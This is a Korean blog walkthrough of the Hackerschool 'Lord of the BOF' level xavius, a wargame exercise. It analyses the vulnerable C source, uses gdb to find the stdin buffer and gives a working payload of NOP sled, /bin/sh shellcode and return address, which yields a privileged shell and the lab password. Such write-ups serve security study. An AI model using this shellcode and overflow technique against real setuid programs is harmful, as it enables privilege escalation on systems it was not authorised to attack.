[lob] 해커스쿨 nightmare -> xavius 풀이

l 해커스쿨 nightmare 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

 

nightmare 문제의 아이디인   nightmare 와 password인    beg for me  을 입력하여 nightmare의 유저로 접속합니다.

 

 

 

[nightmare@localhost nightmare]$ cat xavius.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include  <stdio.h>
#include  <stdlib.h>
#include  <dumpcode.h>

main()
{
        char buffer[40];
        char *ret_addr;

        // overflow!
        fgets(buffer, 256, stdin);
        printf("%s\n", buffer);

        if(*(buffer+47) == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

        // check if the ret_addr is library function or not
        memcpy(&ret_addr, buffer+44, 4);
        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function
        {
                if(*ret_addr == '\xc9'){                // leave
                        if(*(ret_addr+1) == '\xc3'){    // ret
                                printf("You cannot use library function!\n");
                                exit(0);
                        }
                }
                ret_addr++;
        }

        // stack destroyer
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}

 

 

 

힌트 코드를 분석해보겠습니다.

1. fgets를 이용해 buffer에 문자열을 입력합니다.

2. return에 stack 영역을 사용할 수 없습니다.

3. return의 48번째 문자에 0x08이 들어갈 수 없습니다. 즉 ret과 leave 등 코드 영역을 사용할 수 없습니다.

4. ret의 주소를 ret_addr에 복사하고, 그것을 이용해 library를 사용할 수 없게 합니다.

5. buffer + sfp의 영역을 0으로 만듭니다.

6. return 위로 모든 영역을 0으로 만듭니다.

7. buffer - 3000부터 2960byte를 0으로 만듭니다. 따라서 LD_PRELOAD를 사용할 수 없습니다.

 

 

분석 결과 스택, 코드 영역, 라이브러리 모두 사용할 수 없습니다. 이번 문제는 어떻게 풀지 잘 몰라서 다른 블로그를 참고해서 풀었습니다. 앞의 문제들과 다르게 fgets로 문자열을 받는다는 점에 의문이 들긴 했는데 결과적으로 stdin을 이용해 푸는 문제였습니다. 

 

1. fgets에서의 stdin을 이용합니다.

2. 라이브러리 영역을 못 쓰게 할 생각이었다면 *(buffer+47) == \x40 을 이용했으면 됐을 텐데 굳이 위의 코드를 사용하였습니다.

 

이렇게 2가지가 힌트가 됩니다. stdin은 키보드로 입력한 문자열을 가지고 있는 버퍼입니다. gdb를 사용해 그 부분을 살펴보겠습니다.

 

 

 

[nightmare@localhost nightmare]$ cp xavius nightmare

[nightmare@localhost nightmare]$ gdb nightmare
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>
:       push   %ebp 
0x8048715 <main+1>:     mov    %esp,%ebp
0x8048717 <main+3>:     sub    $0x2c,%esp
0x804871a <main+6>:     mov    0x8049a3c,%eax
0x804871f <main+11>:    push   %eax
0x8048720 <main+12>:    push   $0x100
0x8048725 <main+17>:    lea    0xffffffd8(%ebp),%eax
0x8048728 <main+20>:    push   %eax
0x8048729 <main+21>:    call   0x8048408 <fgets>
...

 

 

 

1. 0x8048729 <main+21>:    call   0x8048408 <fgets>

fget에는 총 세 개의 인자가 들어갑니다. buffer, 256, stdin 순서로 들어가는데 stack에 push 되는 순서는 stdin, 256, buffer이기 때문에 0x8049a3c가 stdin의 주소가 됩니다.

 

 

 

(gdb) b *main+26
Breakpoint 1 at 0x804872e
(gdb) r
Starting program: /home/nightmare/nightmare
AAAAAAAAAAAAAAAA

Breakpoint 1, 0x804872e in main ()

(gdb) x/x 0x8049a3c
0x8049a3c <stdin@@GLIBC_2.0>:   0x401068c0
(gdb) x/x 0x401068c0
0x401068c0 <_IO_2_1_stdin_>:    0xfbad2288
(gdb) x/20x 0x401068c0
0x401068c0 <_IO_2_1_stdin_>:    0xfbad2288      0x40015011      0x40015011  0         0x40015000
0x401068d0 <_IO_2_1_stdin_+16>: 0x40015000      0x40015000      0x40015000  0         x40015000
0x401068e0 <_IO_2_1_stdin_+32>: 0x40015400      0x00000000      0x00000000  0         x00000000
0x401068f0 <_IO_2_1_stdin_+48>: 0x00000000      0x00000000      0x00000000  0         x00000000
0x40106900 <_IO_2_1_stdin_+64>: 0xffffffff      0x00000000      0x401068a0  0         xffffffff

(gdb) x/x 0xfbad2288
0xfbad2288:     Cannot access memory at address 0xfbad2288
(gdb) x/x 0x40015011
0x40015011:     0x00000000
(gdb) x/x 0x40015000
0x40015000:     0x41414141
(gdb) x/10x 0x40015000
0x40015000:     0x41414141      0x41414141      0x41414141      0x41414141
0x40015010:     0x0000000a      0x00000000      0x00000000      0x00000000
0x40015020:     0x00000000      0x00000000

 

 

 

fgets 다음에 breakpoint를 잡고 프로그램을 실행시켜보았습니다. 그리고 stdin의 주소를 확인해보니 위와 같았습니다.

0xfbad2288, 0x40015011, 0x40015000을 차례대로 확인한 결과 0x40015000에 프로그램을 실행하고 입력한 A 문자가 들어있습니다.

 

 

 

(gdb) b *main+277
Breakpoint 2 at 0x8048829

(gdb) c
Continuing.
AAAAAAAAAAAAAAAA


Breakpoint 2, 0x8048829 in main ()
(gdb) x/x 0x40015000
0x40015000:     0x41414141

 

 

 

프로그램이 종료된 뒤에도 A가 남아있는지 확인해보기 위해 leave에 breakpoint를 걸고 이어서 실행해본 결과 여전히 

0x40015000에 A 문자가 남아있는 것을 볼 수 있습니다. 그럼 이제 페이로드를 구성해보겠습니다. NOP와 셸 코드를 넣어준 뒤 return에 0x40015000을 넣어주면 될 것입니다.

 

 

| 페이로드

(python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"'; cat) | ./nightmare

 

 

 

[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"'; cat) | ./nightmare
1ÀPh//shh/bin‰ãPS‰á‰Â°
                      Í€
id
uid=518(nightmare) gid=518(nightmare) groups=518(nightmare)

[nightmare@localhost nightmare]$ rm nightmare
[nightmare@localhost nightmare]$ ln -s xavius nightmare
[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"'; cat) | ./nightmare
1ÀPh//shh/bin‰ãPS‰á‰Â°
                      Í€

id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
my-pass
euid = 519
throw me away

 

 

 

nightmare 파일을 위의 페이로드로 실행시켜본 결과 셸 취득이 되었습니다. 기존의 nightmare 파일을 삭제하고 심볼릭 링크를 이용해 nightmare 이름으로 파일을 재생성한 뒤 다시 실행해보았습니다. my-pass 입력을 통해 xavius 유저의 password를 찾았습니다.

 

 

 

l xavius 비밀번호

더보기

euid = 519 
throw me away 

 

이 글을 공유하기

댓글

Designed by JB FACTORY